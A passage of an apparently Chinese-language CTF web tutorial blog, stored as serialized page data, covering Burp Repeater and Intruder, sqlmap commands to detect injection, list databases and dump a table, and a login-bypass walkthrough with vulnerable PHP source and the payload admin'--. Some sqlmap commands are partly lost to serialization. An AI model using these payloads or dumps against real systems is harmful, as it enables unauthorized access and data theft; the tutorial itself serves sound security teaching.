Repeater；修改参数 → Send，右侧看响应，可反复对比",[949,14126,14127,14130,14133],{},[967,14128,14129],{},"Intruder",[967,14131,14132],{},"自动化遍历",[967,14134,14135],{},"请求中选中要爆破的参数，Add § 标记，加载字典，Start Attack，按响应长度排序找异常",[15,14137,14138],{},"用途对应：Repeater 调试 payload，Intruder 爆破密码或枚举 id，Proxy 观察真实请求。",[10,14140,14142],{"id":14141},"八必学工具-3sqlmap","八、必学工具 3：sqlmap",[15,14144,14145],{},"SQL 注入自动化工具。三个核心命令：",[15,14147,14148],{},"命令 1：检测。",[28,14150,14151],{"className":30,"code":6131,"language":32,"meta":33,"style":33},[19,14152,14153],{"__ignoreMap":33},[37,14154,14155,14157,14159,14161,14163,14165],{"class":39,"line":40},[37,14156,6138],{"class":43},[37,14158,6141],{"class":479},[37,14160,5508],{"class":1545},[37,14162,5511],{"class":47},[37,14164,6148],{"class":1545},[37,14166,6151],{"class":479},[15,14168,1555],{},[28,14170,14172],{"className":14171,"code":6157,"language":97,"meta":33},[95],[19,14173,6157],{"__ignoreMap":33},[15,14175,14176],{},"命令 2：列数据库。",[28,14178,14179],{"className":30,"code":6166,"language":32,"meta":33,"style":33},[19,14180,14181],{"__ignoreMap":33},[37,14182,14183,14185,14187,14189,14191,14193],{"class":39,"line":40},[37,14184,6138],{"class":43},[37,14186,6141],{"class":479},[37,14188,5508],{"class":1545},[37,14190,5511],{"class":47},[37,14192,6148],{"class":1545},[37,14194,6183],{"class":479},[15,14196,14197,14198,490],{},"预期输出：数据库列表，包含 ",[19,14199,1164],{},[15,14201,14202],{},"命令 3：导出数据。",[28,14204,14205],{"className":30,"code":6195,"language":32,"meta":33,"style":33},[19,14206,14207],{"__ignoreMap":33},[37,14208,14209,14211,14213,14215,14217,14219,14221,14223,14225,14227],{"class":39,"line":40},[37,14210,6138],{"class":43},[37,14212,6141],{"class":479},[37,14214,5508],{"class":1545},[37,14216,5511],{"class":47},[37,14218,6148],{"class":1545},[37,14220,6212],{"class":479},[37,14222,6215],{"class":47},[37,14224,6218],{"class":479},[37,14226,1081],{"class":47},[37,14228,6223],{"class":479},[15,14230,1310,14231,14233,14234,490],{},[19,14232,3398],{}," 表内容，即 ",[19,14235,5858],{},[10,14237,14239],{"id":14238},"九小-ctf-实战登录绕过","九、小 CTF 实战：登录绕过",[15,14241,14242,14243,14246],{},"题目：登录页 ",[19,14244,14245],{},"login.php","，源码：",[28,14248,14250],{"className":5272,"code":14249,"language":5274,"meta":33,"style":33},"$user = $_POST['user'];\n$pass = $_POST['pass'];\n$sql = \"SELECT * FROM users WHERE username='\" . $user . \"' AND password='\" . $pass . \"'\";\n",[19,14251,14252,14257,14262],{"__ignoreMap":33},[37,14253,14254],{"class":39,"line":40},[37,14255,14256],{},"$user = $_POST['user'];\n",[37,14258,14259],{"class":39,"line":60},[37,14260,14261],{},"$pass = $_POST['pass'];\n",[37,14263,14264],{"class":39,"line":71},[37,14265,14266],{},"$sql = \"SELECT * FROM users WHERE username='\" . $user . \"' AND password='\" . $pass . \"'\";\n",[85,14268,14270],{"id":14269},"第一步正常登录失败","第一步：正常登录失败",[15,14272,14273,14275],{},[107,14274,109],{},"：先建立\"正常请求\"的基线，确认接口参数名（user/pass）和失败时的输出特征。",[28,14277,14279],{"className":30,"code":14278,"language":32,"meta":33,"style":33},"curl -X POST \"http://target/login.php\" --data \"user=admin&pass=wrong\"\n",[19,14280,14281],{"__ignoreMap":33},[37,14282,14283,14285,14287,14289,14291,14294,14296,14299,14301,14304],{"class":39,"line":40},[37,14284,5505],{"class":43},[37,14286,14052],{"class":479},[37,14288,14055],{"class":47},[37,14290,5508],{"class":1545},[37,14292,14293],{"class":47},"http://target/login.php",[37,14295,6148],{"class":1545},[37,14297,14298],{"class":479}," --data",[37,14300,5508],{"class":1545},[37,14302,14303],{"class":47},"user=admin&pass=wrong",[37,14305,5514],{"class":1545},[15,14307,1434,14308,490],{},[19,14309,14310],{},"Login failed",[85,14312,14314],{"id":14313},"第二步构造绕过","第二步：构造绕过",[15,14316,14317,14319,14320,14323],{},[107,14318,336],{},"：观察源码 ",[19,14321,14322],{},"WHERE username='...' AND password='...'","，猜测我们可以在用户名里\"提前闭合单引号并用注释吃掉后半句\"。这样密码校验被注释掉，只要用户存在即可登录。",[15,14325,14326,14328,14329,14331,14332,991,14335,14338,14339,3960,14341,9684],{},[107,14327,1769],{},"：发送 payload 后看是否从 ",[19,14330,14310],{}," 变成成功页面；若失败，尝试 ",[19,14333,14334],{},"admin'#",[19,14336,14337],{},"admin'-- "," 等不同注释符（MySQL 支持 ",[19,14340,13409],{},[19,14342,14343],{},"#",[15,14345,1295],{},[28,14347,14349],{"className":30,"code":14348,"language":32,"meta":33,"style":33},"curl -X POST \"http://target/login.php\" --data \"user=admin'--+&pass=wrong\"\n",[19,14350,14351],{"__ignoreMap":33},[37,14352,14353,14355,14357,14359,14361,14363,14365,14367,14369,14372],{"class":39,"line":40},[37,14354,5505],{"class":43},[37,14356,14052],{"class":479},[37,14358,14055],{"class":47},[37,14360,5508],{"class":1545},[37,14362,14293],{"class":47},[37,14364,6148],{"class":1545},[37,14366,14298],{"class":479},[37,14368,5508],{"class":1545},[37,14370,14371],{"class":47},"user=admin'--+&pass=wrong",[37,14373,5514],{"class":1545},[15,14375,14376],{},"实际执行的 SQL：",[28,14378,14380],{"className":5299,"code":14379,"language":5301,"meta":33,"style":33},"SELECT * FROM users WHERE username='admin'-- ' AND password='wrong'\n",[19,14381,14382],{"__ignoreMap":33},[37,14383,14384],{"class":39,"line":40},[37,14385,14379],{},[15,14387,14388,14390,14391,14394],{},[19,14389,13409],{}," 注释掉密码部分。预期输出：",[19,14392,14393],{},"Login success"," 和 flag。",[15,14396,14397,14400,14401,14404,14405,14408],{},[107,14398,14399],{},"为什么能成功","：数据库中确实存在 ",[19,14402,14403],{},"admin"," 用户，查询 ",[19,14406,14407],{},"WHERE username='admin'"," 就能命中一行；命中即视为登录成功。",[85,14410,14412],{"id":14411},"第三步sqlmap-验证","第三步：sqlmap 验证",[15,14414,14415,14417],{},[107,14416,109],{},"：用工具确认手工结论，同时自动探测其他注入点。",[28,14419,14421],{"className":30,"code":14420,"language":32,"meta":33,"style":33},"sqlmap -u \"http://target/login.php\" --data \"user=a&pass=b\" --batch\n# --data 指定 POST 请求体；sqlmap 会分别对 user、pass 两个参数测试注入。\n# --batch 表示全程自动选择默认选项，不需要人工确认。\n# 预期输出：报告 Parameter: user (POST) 存在注入。\n",[19,14422,14423,14446,14451,14456],{"__ignoreMap":33},[37,14424,14425,14427,14429,14431,14433,14435,14437,14439,14442,14444],{"class":39,"line":40},[37,14426,6138],{"class":43},[37,14428,6141],{"class":479},[37,14430,5508],{"class":1545},[37,14432,14293],{"class":47},[37,14434,6148],{"class":1545},[37,14436,14298],{"class":479},[37,14438,5508],{"class":1545},[37,14440,14441],{"class":47},"user=a&pass=b",[37,14443,6148],{"class":1545},[37,14445,6151],{"class":479},[37,14447,14448],{"class":39,"line":60},[37,14449,14450],{"class":1060},"# --data 指定 POST 请求体；sqlmap 会分别对 user、pass 两个参数测试注入。\n",[37,14452,14453],{"class":39,"line":71},[37,14454,14455],{"class":1060},"# --batch 表示全程自动选择默认选项，不需要人工确认。\n",[37,14457,14458],{"class":39,"line":136},[37,14459,14460],{"class":1060},"# 预期输出：报告 Parameter: user (POST) 存在注入。\n",[15,14462,14463,14464,14467],{},"预期输出：报告 ",[19,14465,14466],{},"Parameter: user (POST)"," 存在注入。",[10,14469,3317],{"id":3316},[15,14471,14472],{},"Web 入门只需要掌握：参数不可信；SQLi/XSS/SSRF 的复现与检测；curl、Burp、sqlmap 三个工具的核心用法。",[1144,14474,14475],{},"html pre.shiki code .sAOxA, html code.shiki .sAOxA{--shiki-default:#50FA7B}html pre.shiki code .sIQBb, html code.shiki .sIQBb{--shiki-default:#BD93F9}html pre.shiki code .seVfx, html code.shiki .seVfx{--shiki-default:#E9F284}html pre.shiki code .s-mGx, html code.shiki .s-mGx{--shiki-default:#F1FA8C}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .shSDL, html code.shiki .shSDL{--shiki-default:#6272A4}html pre.shiki code .sLL85, html code.shiki .sLL85{--shiki-default:#8BE9FD}html pre.shiki code .sCdxs, html code.shiki .sCdxs{--shiki-default:#F8F8F2}html pre.shiki code .s0Tla, html code.shiki .s0Tla{--shiki-default:#FF79C6}",{"title":33,"searchDepth":60,"depth":60,"links":14477},[14478,14479,14480,14481,14482,14483,14484,14485,14486,14487],{"id":12645,"depth":71,"text":12646},{"id":12753,"depth":71,"text":12754},{"id":12851,"depth":71,"text":12852},{"id":13446,"depth":71,"text":13447},{"id":13739,"depth":71,"text":13740},{"id":13963,"depth":71,"text":13964},{"id":14077,"depth":71,"text":14078},{"id":14141,"depth":71,"text":14142},{"id":14238,"depth":71,"text":14239},{"id":3316,"depth":71,"text":3317},"完整复现 SQL 注入、XSS、SSRF 三个漏洞：环境搭建、请求与响应、演示 curl、Burp Suite、sqlmap 的核心用法。",{"date":1160,"image":14490,"alt":14491,"tags":14492,"published":132},"/blogs-img/blog9.png","CTF Web 入门",[1164,6657,1167],"/blogs/ctf-web-overview",{"title":12640,"description":14488},"blogs/9. ctf-web-overview","Zw9ZNNI8nq4-16xeG1TaILfNuOv5EuKnOPkpkm05cIk",1786796567934]